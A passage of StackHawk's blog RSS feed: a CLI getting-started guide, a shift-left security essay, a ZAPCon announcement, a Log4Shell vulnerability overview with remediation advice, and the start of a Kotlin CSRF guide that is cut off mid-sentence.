href=&quot;https://www.stackhawk.com/blog/react-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;React&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/angular-cors-guide-examples-and-how-to-enable-it/&quot;&gt;&lt;u&gt;Angular&lt;/u&gt;&lt;/a&gt;. But remember, the correct way to deal with CORS is on the server by setting proper Access Control Allow Origin. But all in all, I hope this was enough to help you get the hang of CORS and understand how to enable it in a Node.js and TypeScript application. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Getting Started with the New StackHawk CLI]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/getting-started-with-the-new-stackhawk-cli</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;Today we are thrilled to announce the StackHawk CLI.&lt;/p&gt;&lt;p&gt;Until now, running StackHawk has required a Docker container. By introducing the CLI, we remove the Docker dependency and more importantly, developers get a security tool that feels more familiar and better fits their workflow. &lt;/p&gt;&lt;p&gt;The CLI has been months in the making and we can’t wait to help users get going with the tool. We have put together this getting started guide to help you get scanning and better protect your apps. &lt;/p&gt;&lt;h2&gt;Wait…But I ❤️ The Docker Version&lt;/h2&gt;&lt;p&gt;If you are currently using the Docker version of the StackHawk scanner, don’t worry. That version is still fully supported and has some of the great configuration validation capabilities mentioned later in this post. While the Docker version is well-suited for running in your CI/CD pipeline, the CLI is great for running on your local computer.&lt;/p&gt;&lt;p&gt;If you want more details on the Docker vs CLI check out the &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#docker-vs-cli&quot;&gt;&lt;u&gt;docs&lt;/u&gt;&lt;/a&gt; that explain all the differences.&lt;/p&gt;&lt;h2&gt;A Few Resources Before We Get Going &lt;/h2&gt;&lt;p&gt;We will break down the CLI highlights in this blog, but there are other resources that will help guide you through this process as well. &lt;/p&gt;&lt;h3&gt;📺 A Video Demo&lt;/h3&gt;&lt;p&gt;Join StackHawk engineer Omar Alkhalili as he guides you through using the CLI step-by-step. This is a great resource to watch, pause, and replay as you get going.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;u&gt;&lt;/u&gt;&lt;/b&gt;&lt;a href=&quot;https://www.youtube.com/embed/pN8FseGNEk4&quot;&gt;&lt;b&gt;&lt;u&gt;Embed Video Here&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;u&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;📝 The Docs&lt;/h3&gt;&lt;p&gt;Wouldn’t be a release without the docs, now would it? If you are looking for all the technical details, dive into the &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/&quot;&gt;&lt;u&gt;CLI documentation&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;CLI Pre-Reqs&lt;/h2&gt;&lt;p&gt;In order to get going with the StackHawk CLI, you will need to:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Have a StackHawk account. Sign-up &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create an app in the StackHawk platform. This requires configuring an app which will provide you with an API key and a YAML config file. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Make sure you save your API key and YAML config file. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Have Java version 11 or higher.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Have a way to install the CLI. This can be done with &lt;a href=&quot;https://brew.sh/&quot;&gt;&lt;u&gt;homebrew&lt;/u&gt;&lt;/a&gt; or by downloading the &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#install-with-zip-file&quot;&gt;&lt;u&gt;self-contained zip file&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Once you have completed those steps, open a terminal window and get ready to hawk 🦅. &lt;/p&gt;&lt;h2&gt;Installation&lt;/h2&gt;&lt;p&gt;Depending on your OS and personal preference you can either install via homebrew or you can install the zip. &lt;/p&gt;&lt;p&gt;&lt;i&gt;We will walk through homebrew here, but if you are interested in the zip, you can find those docs &lt;/i&gt;&lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#install-with-zip-file&quot;&gt;&lt;u&gt;&lt;i&gt;here&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;To install, using homebrew run the command &lt;code&gt;brew install stackhawk/cli/hawk&lt;/code&gt;, at which point your terminal should output something like this: &lt;/p&gt;&lt;p&gt;You are now ready to start using the CLI 🎉&lt;/p&gt;&lt;h2&gt;CLI Commands&lt;/h2&gt;&lt;h3&gt;Getting Your Bearings: &lt;code&gt;hawk --help&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;If you are unsure where to get started with the CLI, use the command &lt;code&gt;hawk --help&lt;/code&gt;&lt;i&gt; or &lt;/i&gt;&lt;code&gt;hawk -h&lt;/code&gt;. This will provide you with a list of available commands: &lt;/p&gt;&lt;h3&gt;Initializing the Scanner: &lt;code&gt;hawk init&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;To connect to the StackHawk platform use the &lt;code&gt;hawk init&lt;/code&gt; command. Upon entering this command you will be prompted for your API key to authenticate your session. &lt;/p&gt;&lt;p&gt;Once you enter your API key you should get a message that you are now authenticated!&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; You should have saved your API key upon creating your app in the StackHawk platform, but if you did not or your dog ate your homework, head over to the settings menu in the bottom left of the platform and you can create a new one. &lt;/p&gt;&lt;h3&gt;Validating Your Config: &lt;code&gt;hawk validate&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;The next step in getting scanning with the CLI is validating your config file, which by default will be named stackhawk.yml. Store this file at the base of your project’s directory. &lt;/p&gt;&lt;p&gt;Once you have updated your YAML with any specific configurations not included by default (like authentication, or API configuration details), you will be ready to run the ‘hawk validate’ command. &lt;/p&gt;&lt;p&gt;If your configuration file is error free, the CLI will return back a success message. &lt;/p&gt;&lt;p&gt;If your configuration file has errors, the specific lines causing the issue will be called out with error messages and suggestions for how to fix.&lt;/p&gt;&lt;h3&gt;Getting Scanning: &lt;code&gt;hawk scan&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;Once you have initialized and validated your config, you are ready to complete your first scan. &lt;/p&gt;&lt;p&gt;Enter the command &lt;code&gt;hawk scan&lt;/code&gt; in your terminal and you will see your scan kick off.&lt;/p&gt;&lt;p&gt;By default, the scanner will expect your config file to be named stackhawk.yml. If your config file is named something else, just append your file name to the hawk scan command. So, the command would look something like &lt;code&gt;hawk scan file-name.yml&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;There are many other configuration modifications you can make to the &lt;code&gt;hawk scan&lt;/code&gt; command to better fit your specific scanning scenario. &lt;/p&gt;&lt;p&gt;You can learn more about these by adding the subcommand --help or -h to &lt;code&gt;hawk scan&lt;/code&gt;, at which point your terminal should output all of the configuration options. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; The -help and -h subcommand also work with the other commands in this blog.&lt;/p&gt;&lt;h2&gt;So Get CLI-ing&lt;/h2&gt;&lt;p&gt;There you have the quick overview of the new StackHawk CLI. We hope you find it makes it easier to get going with your first scan, and every scan after that.&lt;/p&gt;&lt;p&gt;If you get going with it and have run into any issues, drop us a line at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;&lt;u&gt;support@stackhawk.com&lt;/u&gt;&lt;/a&gt;. We would love to help you! &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why Shift Security Left?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/why-shift-security-left</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;Whether you are a seasoned security expert or a developer looking to do more with security, you have probably come across the term “shifting security left.” &lt;/p&gt;&lt;p&gt;This phrase has been gaining popularity over the last couple of years. But what does it &lt;i&gt;actually&lt;/i&gt; mean and why is it important? &lt;/p&gt;&lt;p&gt;Here is the breakdown 👇&lt;/p&gt;&lt;h2&gt;Level Setting: What is Shift-Left Security?&lt;/h2&gt;&lt;p&gt;Shift-left security is an approach to application security that integrates security practices into the earliest stages of the software development lifecycle (SDLC). This proactive strategy aims to minimize the time, cost, and effort needed to address security risks, preventing them from reaching production environments. By shifting security left, organizations can identify and mitigate threats early, significantly reducing remediation costs and enhancing overall security awareness. This approach not only fortifies the security posture of applications but also fosters a culture of security mindfulness throughout the development process.&lt;/p&gt;&lt;h3&gt;Understanding the Core Concept&lt;/h3&gt;&lt;p&gt;At the heart of shift-left security is the principle of embedding security practices into every stage of the application development process, from design to deployment. This involves integrating security into development processes, automating security testing, and managing vulnerabilities continuously. By providing ongoing training and education for developers, organizations ensure that security is a shared responsibility. Encouraging collaboration between development and security teams further strengthens this approach. By doing so, organizations create a proactive stance towards software security, reducing the risk of breaches and vulnerabilities while streamlining the development process.&lt;/p&gt;&lt;h3&gt;Shifting Testing Left for Code Quality&lt;/h3&gt;&lt;p&gt;While shifting security left has become more of a buzzword recently, the concept of shifting left is not new.&lt;/p&gt;&lt;p&gt;At its core, shifting left means taking things that are done toward the end of the software development workflow and moving them earlier in the process.&lt;/p&gt;&lt;p&gt;To help us unpack this, let’s think of software delivery through the (outdated) waterfall method of development. It used to be teams kicked off a project, scoped requirements, designed, built, tested, and then deployed software.&lt;/p&gt;&lt;p&gt;With this model, bugs made it all the way to the ‘testing’ phase before they could be found by a QA team. This made it costly to resolve flaws.&lt;/p&gt;&lt;p&gt;[&lt;a href=&quot;https://deepsource.io/blog/exponential-cost-of-fixing-bugs/&quot;&gt;source&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;But through the evolutions of agile, DevOps, and the creation of CI/CD tools, the process of fixing bugs naturally evolved to earlier in the release cycle. Development teams must now take on the responsibility of identifying and fixing bugs early in the process to maintain efficiency.&lt;/p&gt;&lt;p&gt;For everything from builds to integrations, pushing testing earlier in the cycle came with huge benefits. Developers could fix issues faster because they were notified immediately about problematic code, code could be pushed to production (aka prod) faster because teams weren’t waiting on manual review, and testing policies were consistent. &lt;/p&gt;&lt;p&gt;In short, developers could focus on coding, and automated testing did everything else. &lt;/p&gt;&lt;p&gt;&lt;b&gt;A huge win for productivity&lt;/b&gt; 🎉&lt;/p&gt;&lt;h3&gt;What Shift Left Means When Applied to Security Testing&lt;/h3&gt;&lt;p&gt;What makes security testing different is that it often doesn’t happen until code is live in production, making it crucial to integrate security early in the development process.&lt;/p&gt;&lt;p&gt;Shifting security left means taking the same principles that modernized quality testing and applying them to how teams find security bugs. &lt;/p&gt;&lt;p&gt;Every time developers check in code, automated security testing runs and notifies a developer if they have introduced a new security bug.&lt;/p&gt;&lt;p&gt;Shifting security left makes testing frequent, automated, and consistent which comes with huge benefits for both developers and security teams. &lt;/p&gt;&lt;h2&gt;The Most Important Reasons to Shift Security Left&lt;/h2&gt;&lt;p&gt;Not convinced that shifting security testing left is right for your team? Or just can’t find the bandwidth to make it a priority? Utilizing advanced security tools that harness this paradigm can significantly streamline the process of identifying and mitigating vulnerabilities early. Let us give you some food for thought on why shifting security left should move up your priority list.&lt;/p&gt;&lt;h3&gt;The Core Driver: Efficiency In the Software Delivery Life Cycle&lt;/h3&gt;&lt;p&gt;The most important reason to shift security left is that we can be more efficient in how we deliver secure software. &lt;/p&gt;&lt;p&gt;We have seen how transformative this can be with DevOps and embedding unit and integration testing into our release cycles. Bugs are found earlier, fixed faster, and we release better quality code. &lt;/p&gt;&lt;p&gt;Doing this with security testing means that developers can fix security bugs faster, security can better scale to support large development org and your apps are better protected. &lt;/p&gt;&lt;h4&gt;Shifting Security Left Empowers Developers&lt;/h4&gt;&lt;p&gt;It’s not a secret that a developer’s job encompasses a lot more than writing software. In fact, most developers &lt;a href=&quot;https://www.techrepublic.com/article/majority-of-developers-spending-half-or-less-of-their-day-coding-report-finds/&quot;&gt;&lt;u&gt;spend less than half their day coding&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now you may be thinking, ‘if devs are already not writing code, why would I add security testing to their workflow?’ &lt;/p&gt;&lt;p&gt;You might be surprised to know that enabling developers to own security testing actually allows for developers to spend less time handling security bugs. &lt;/p&gt;&lt;p&gt;How does that work? 🤔&lt;/p&gt;&lt;p&gt;In its current form, security keeps developers from doing their job of product delivery. When a security bug is found (most likely in production), the development team is faced with a few unhappy realities. &lt;/p&gt;&lt;p&gt;First, their sprint is interrupted. That billing project you were working on? Please put that on hold. Your first priority now is to fix this cross site scripting vulnerability the security team just found. There goes the plans for the week.&lt;/p&gt;&lt;p&gt;No matter your role, you are probably familiar with how being assigned a new, urgent project can be draining and frustrating. This is called context switching, and for developers it is &lt;a href=&quot;https://www.vonage.com/resources/articles/agile-development-context-switching-comes-at-the-price-of-delivery/&quot;&gt;&lt;u&gt;a well known killer of productivity&lt;/u&gt;&lt;/a&gt;. The developer must set aside all of the mental energy that has gone into the billing project they are working on and reacquaint themselves with code the team wrote weeks or months ago. &lt;/p&gt;&lt;p&gt;An important note here is that because the security testing happens in prod, there is no guarantee that the developer assigned to fix the security bug is the one who wrote the code. Testing in production inherently means sorting through large code bases written by a team of developers to trying to find a needle in a haystack.&lt;/p&gt;&lt;p&gt;As you can imagine, all of these forces working together equal a long mean time to resolution for security bugs. Snyk estimates that developers spend &lt;a href=&quot;https://go.snyk.io/Forrester-Report.html&quot;&gt;&lt;u&gt;8 hours investigating and remediating a security bug&lt;/u&gt;&lt;/a&gt; after a ticket has been created by the security team.&lt;/p&gt;&lt;p&gt;Shifting security left means that this entire cycle can be short circuited. Developers can fix security bugs the same way they fix all other bugs. Implementing shift left security ensures that developers are equipped with the necessary tools and practices to address security concerns early. &lt;/p&gt;&lt;p&gt;Security testing runs alongside build and integration testing, as software is being built and compiled by CI/CD tooling. If a new vulnerability has been introduced, developers are notified immediately. By doing so, bugs can be resolved faster because developers are in the proper context, they are only reviewing the code they just wrote to find the bug, and they can resolve it quickly.&lt;/p&gt;&lt;p&gt;All of the productivity gains we have seen by empowering developers with the tools to run automated testing elsewhere in the delivery cycle are now applicable to security testing. &lt;/p&gt;&lt;h4&gt;Shifting Security Left Benefits Security Teams&lt;/h4&gt;&lt;p&gt;While shifting security left allows developers to be more efficient, it also comes with big benefits for the security teams as well. &lt;/p&gt;&lt;p&gt;It’s no secret that security teams are stretched thin –There are &lt;a href=&quot;https://cybersecurityventures.com/jobs/&quot;&gt;&lt;u&gt;3.5 million open cyber security roles globally&lt;/u&gt;&lt;/a&gt;. It’s not uncommon for 1-2 security pros to be supporting hundreds of developers.&lt;/p&gt;&lt;p&gt;Shifting left allows security to effectively scale efforts across the company by providing consistency and efficiency in testing. Early identification of any security issue can prevent potential breaches and reduce remediation costs. Security can set the policies and scan for the same things every time code is checked in. The security team at &lt;a href=&quot;https://www.stackhawk.com/customers/one-medical/&quot;&gt;One Medical&lt;/a&gt; found that this process improvement saved their security team 5 hours each week triaging and validating security findings.&lt;/p&gt;&lt;p&gt;By freeing time and automating testing, security is able to rethink their roles. Where once security’s role was focused on finding vulnerabilities, they can now provide strategic direction to their teams. &lt;/p&gt;&lt;p&gt;The VP of Enterprise Security at DataRobot, Jason Montgomery found this to be true for his team after they shifted security left. By changing how they tested, the security team could consult on triaging, and help developers dig into larger findings. Smaller issues could be remediated instantly in the development process.&lt;/p&gt;&lt;p&gt;While some in the security field may fear that shifting left equates to being automated out of a job, it seems that the opposite is true. Shifting testing left allows the team to focus on the parts of their jobs that are most important and drive the most value for the larger organization. &lt;/p&gt;&lt;h4&gt;Shifting Security Left Better Protects Your Apps&lt;/h4&gt;&lt;p&gt;In addition to making developers more efficient and allowing security to be more strategic, shifting security testing left also means better protection for your team’s apps, APIs and microservices by addressing security issues early.&lt;/p&gt;&lt;p&gt;The way security testing works today leaves security teams blocking releases or playing catch-up.&lt;/p&gt;&lt;p&gt;While blocking releases negatively impacts product delivery and core engineering metrics like velocity, waiting to test in production comes with much more risk. &lt;/p&gt;&lt;p&gt;The core reason? Testing for bugs in production means that &lt;b&gt;the bugs are in production&lt;/b&gt;. And while we aren’t fans of pushing fear and doubt when it comes to security testing, it is important to callout that if your team is finding vulnerabilities in your live production site, so could bad actors. &lt;/p&gt;&lt;p&gt;Now that may not convince you to test earlier, but there are other challenges that come with testing in prod that make finding and fixing security bugs inefficient, including: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Coverage limitations. &lt;/b&gt;While your security testing tool may be able to spider the front end of your production application, it is notoriously difficult to reach back end services and APIs while testing in prod. This will only become more important as the threat of API security vulnerabilities grows.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Long test times.&lt;/b&gt; At StackHawk we frequently hear from customers that their security tests can run for 36 hours or more. &lt;a href=&quot;https://www.whitesourcesoftware.com/resources/blog/dast-dynamic-application-security-testing/&quot;&gt;&lt;u&gt;Forrester&lt;/u&gt;&lt;/a&gt; cites that dynamic application security testing (DAST) scans can run for 5-7 days. Where else in the software development life cycle do we accept testing windows like this? &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Difficult to remediate findings.&lt;/b&gt; As we touched on above, it is incredibly inefficient for security teams to throw findings over the wall to developers. Days can be wasted trying to find, triage, and fix the security bugs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Long windows between tests.&lt;/b&gt; Because tests take so long to run and remediating findings is challenging, organizations tend to run tests quarterly or annually. This is especially true if the business is using an outside contractor to conduct penetration testing. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Together, all of this equates to coverage gaps that leave apps open to security bugs. &lt;/p&gt;&lt;p&gt;Applying consistent testing every time code is checked in means better, more secure software is shipped every time.&lt;/p&gt;&lt;h2&gt;So What&amp;#39;s Next?&lt;/h2&gt;&lt;p&gt;Shifting left has already proven to be a best-in-class model for software testing. With modern tools, it is possible to bring this efficiency to security testing.&lt;/p&gt;&lt;p&gt;Whether you are looking for software composition analysis (SCA) tools, static application security testing tools (SAST), interactive application security testing tools (IAST), or other dynamic tools, there are options available that make it easy to fit security testing into the developer workflow and software development process. &lt;/p&gt;&lt;p&gt;At StackHawk, we are, of course, biased, but we think &lt;a href=&quot;https://www.stackhawk.com/blog/why-dast-should-be-your-first-application-security-priority/&quot;&gt;DAST is the best place to start shifting security left&lt;/a&gt;. Check out our &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;DAST&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/software-composition-analysis-sca-overview-and-tooling-guide/&quot;&gt;SCA&lt;/a&gt; guides to help make a decision on what could work best for your team as you discover various shift-left security tools available. &lt;/p&gt;&lt;p&gt;And if you are looking for more resources on implementation, read our guide on &lt;a href=&quot;https://www.stackhawk.com/blog/running-stackhawk-in-cicd/&quot;&gt;&lt;u&gt;how to implement security testing tools like StackHawk in CI/CD&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing ZAPCon 2022 and A Call for Speakers]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-zapcon-2022-and-a-call-for-speakers</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;&lt;b&gt;December 17, 2021&lt;/b&gt; – I am thrilled to announce that &lt;a href=&quot;https://zapcon.io/&quot;&gt;ZAPCon&lt;/a&gt; is returning for its second year.&lt;/p&gt;&lt;p&gt;The second annual ZAP user conference will take place on March 8, 2022 and the &lt;a href=&quot;https://sessionize.com/zapcon2-cfs&quot;&gt;Call for Papers&lt;/a&gt; is open!&lt;/p&gt;&lt;p&gt;This year the event’s theme is “Leveling Up” and we are looking for speaking proposals that talk about how to do more with ZAP.&lt;/p&gt;&lt;p&gt;Whether you are a seasoned user that has rolled out ZAP at scale within your company, or are relatively new to the tool, we want to hear what you have to say. Initial topic ideas include scaling ZAP in the enterprise, advanced ZAP skills, API security testing, contributing to ZAP, or ZAP automation.&lt;/p&gt;&lt;p&gt;If you have a topic that is not included in this list, great! Send us an outline and we’ll review it!&lt;/p&gt;&lt;p&gt;The CFP closes on January 7, 2022 at 10:59pm PT.&lt;/p&gt;&lt;h2&gt;Attendee Registration&lt;/h2&gt;&lt;p&gt;Speaking not your forte? No problem.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://hopin.com/events/zapcon/registration&quot;&gt;Registration is now open&lt;/a&gt;, and it is completely free! Grab your spot and register for ZAPCon 2022. Learn more about ZAP, meet other ZAP enthusiasts, and help grow the exciting world of dynamic application security testing (DAST)!&lt;/p&gt;&lt;p&gt;And who knows, you may even get some free swag…&lt;/p&gt;&lt;p&gt;See you on March 8!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Log4Shell: Issue Overview and StackHawk Response to Log4j Remote Code Execution Vulnerability]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/log4shell-issue-overview-and-stackhawk-response-to-log4j-remote-code</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;h2&gt;What is the Log4j Remote Code Execution issue?&lt;/h2&gt;&lt;p&gt;On Dec.10, 2021, Chen Zhaojun from Alibaba’s Cloud Security team discovered a new, critical Log4j vulnerability was disclosed: Log4Shell. This vulnerability within the popular Java logging framework was published as &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228&quot;&gt;&lt;u&gt;CVE-2021-44228&lt;/u&gt;&lt;/a&gt;, and categorized as Critical with a CVSS score of 10 (the highest score possible).&lt;/p&gt;&lt;p&gt;&lt;b&gt;All current versions of log4j2 up to 2.14.1 are vulnerable. Update to version 2.15.0 or later to remediate this vulnerability.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Many application frameworks in the Java ecosystem use this logging framework by default. For instance, Apache Struts 2, Apache Solr, and Apache Druid are all affected. Aside from those, &lt;a href=&quot;https://logging.apache.org/log4j/2.x/&quot;&gt;&lt;u&gt;Apache Log4j&lt;/u&gt;&lt;/a&gt; is also used in many Spring and Spring Boot applications, so we suggest you check your applications and update them to the latest version.&lt;/p&gt;&lt;p&gt;An attacker can leverage the weakness discovered in log4j to attack an application in what is commonly referred to as Remote Code Execution (RCE). Essentially, an attacker can trick a vulnerable application into running commands passed by the threat actor. In this particular case, the attack vector is using LDAP services to deliver malicious code back to the server running the vulnerable library. This could result in placement of remote access tools or discovery of other services / secrets within the application running environment.&lt;/p&gt;&lt;h2&gt;Does use of StackHawk expose any risk of Log4j attacks? &lt;/h2&gt;&lt;p&gt;The StackHawk service does not use Log4j logging within our infrastructure. Our internal logging capabilities are provided via other tooling. The StackHawk scanner (HawkScan) is based on the Zed Attack Proxy (ZAP), which does use the Log4j packages for internal logging purposes. &lt;b&gt;ZAP and HawkScan have been updated for this particular issue. &lt;/b&gt;Simon Bennetts, ZAP project lead, has written a blog post about ZAP’s patching status for more information on this issue. &lt;/p&gt;&lt;p&gt;StackHawk has pulled in the patched version of ZAP to update the vulnerable version of Log4j used in the project. This beta release will be available on Monday, Dec. 13th. Users can download and use it by simply running the &lt;code&gt;‘docker pull stackhawk/hawkscan:beta’&lt;/code&gt; or &lt;code&gt;‘docker run … stackhawk/hawkscan:beta’&lt;/code&gt; as their normal run command.&lt;/p&gt;&lt;p&gt;In typical deployment, it is extremely unlikely that StackHawk’s scanner can expose a customer to the Log4j vulnerability. There are mitigating factors that prevent exploitation of StackHawk with this vulnerability:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;StackHawk’s scanner does not expose externally the ZAP API which could have been used to trigger this vulnerability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;StackHawk’s scanner is ephemeral in nature, reducing or completely removing the possibility of persistence due to this RCE.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;StackHawk’s scanner is run inside a customer&amp;#39;s environment and should not be publicly available to attack.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;As an example, to potentially exploit StackHawk’s scanner, a user would need to set up an intentionally malicious web application in their company’s environment and scan it with StackHawk.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;How to check for Log4j in your environment&lt;/h2&gt;&lt;p&gt;There are many ways to find vulnerable versions of Log4j in use. One of the most effective ways to detect these vulnerable versions is with &lt;a href=&quot;https://www.stackhawk.com/blog/software-composition-analysis-sca-overview-and-tooling-guide/&quot;&gt;&lt;u&gt;Software Composition Analysis&lt;/u&gt;&lt;/a&gt; (SCA) tools. These tools can point out where your applications are pulling in vulnerable versions of open source dependencies and suggest how to update to non-vulnerable versions. This does mean you have to compile and deploy your applications to have protection from the updated library. StackHawk has some great partners to use for SCA detection of the vulnerable Log4j library:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428?utm_source=StackHawk&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jfh8-c2jp-5v3q?utm_source=StackHawk&quot;&gt;&lt;u&gt;GitHub Dependabot&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://fossa.com/blog/log4j-log4shell-zero-day-vulnerability-impact-fixes?utm_source=StackHawk&quot;&gt;&lt;u&gt;FOSSA&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Does StackHawk detect Log4J vulnerabilities?&lt;/h3&gt;&lt;p&gt;In addition to SCA tooling, the RCE vulnerability found in Log4j may be detected in running applications with a testing method referred to as Out of Band Application Security Testing (OAST). This is a third service that an affected client would reach out to indicating that it is vulnerable as described in the image below.&lt;/p&gt;&lt;p&gt;&lt;b&gt;The StackHawk Log4Shell Detection Beta is here!&lt;/b&gt;&lt;/p&gt;&lt;p&gt;As you may know, Log4Shell is a recently discovered vulnerability that affects the popular Java logging framework Log4j2.  &lt;/p&gt;&lt;p&gt;What makes StackHawk’s Log4Shell detection different? Tests are simple to configure with a YAML file and run independently of your normal StackHawk scans so they can execute quickly. Most importantly, instead of just telling you that you have an out-of-date library, we can detect whether your application actually has a discoverable and exploitable Log4Shell vulnerability, and can give you confidence that you’ve successfully mitigated it. &lt;/p&gt;&lt;p&gt;To see how to configure your own Log4Shell test, check out the docs &lt;a href=&quot;https://docs.stackhawk.com/log4shell/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;You can also use ZAP to check running applications for the presence of the Log4J vulnerability using the newly released Log4J Test Plugin and setting up OAST services with ZAP as per the ZAP blog post.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin CSRF Protection Guide: Examples and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-csrf-protection-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Security has always been a very important factor for any kind of application, and we&amp;#39;re only talking about software here. Since before the computerization of systems, there have been people trying to circumvent the processes. With the advance of technology, we now have applications available at all times and in a much easier way than before.&lt;/p&gt;&lt;p&gt;As programmers, we often worry about the usability and performance of our applications, but it is also crucial to ensure that data travels securely between clients and servers. On the web, we have several forms of attacks and several ways to prevent them. In this article, we&amp;#39;ll focus on a specific type of attack called&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt; &lt;u&gt;cross-site request forgery (CSRF)&lt;/u&gt;&lt;/a&gt; and talk about some examples and ways to prevent it. To do this, we&amp;#39;ll use Kotlin as the programming language.&lt;/p&gt;&lt;h2&gt;Going Further&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s begin with an example.&lt;/p&gt;&lt;p&gt;If, in an application, we have a request to return some data about the user logged into the system, the browser needs to ensure that the request has the same origin. This means that a website is allowed to freely request data from its own URL but blocks anything from an external URL unless we specify this permission on the server side. We call this the same-origin policy. This prevents external websites from requesting data that they should not be allowed to have.&lt;/p&gt;&lt;p&gt;We also send cookies for any request made. The app needs a way to identify the user, and the standard way of identifying a user on the web is to use cookies. For example, when a user logs in to a social media site, the server sets a cookie with a unique user ID. As the user browses the site, each request to the server contains the cookie.&lt;/p&gt;&lt;p&gt;The server can read the cookie from the request and load user-specific data, such as the 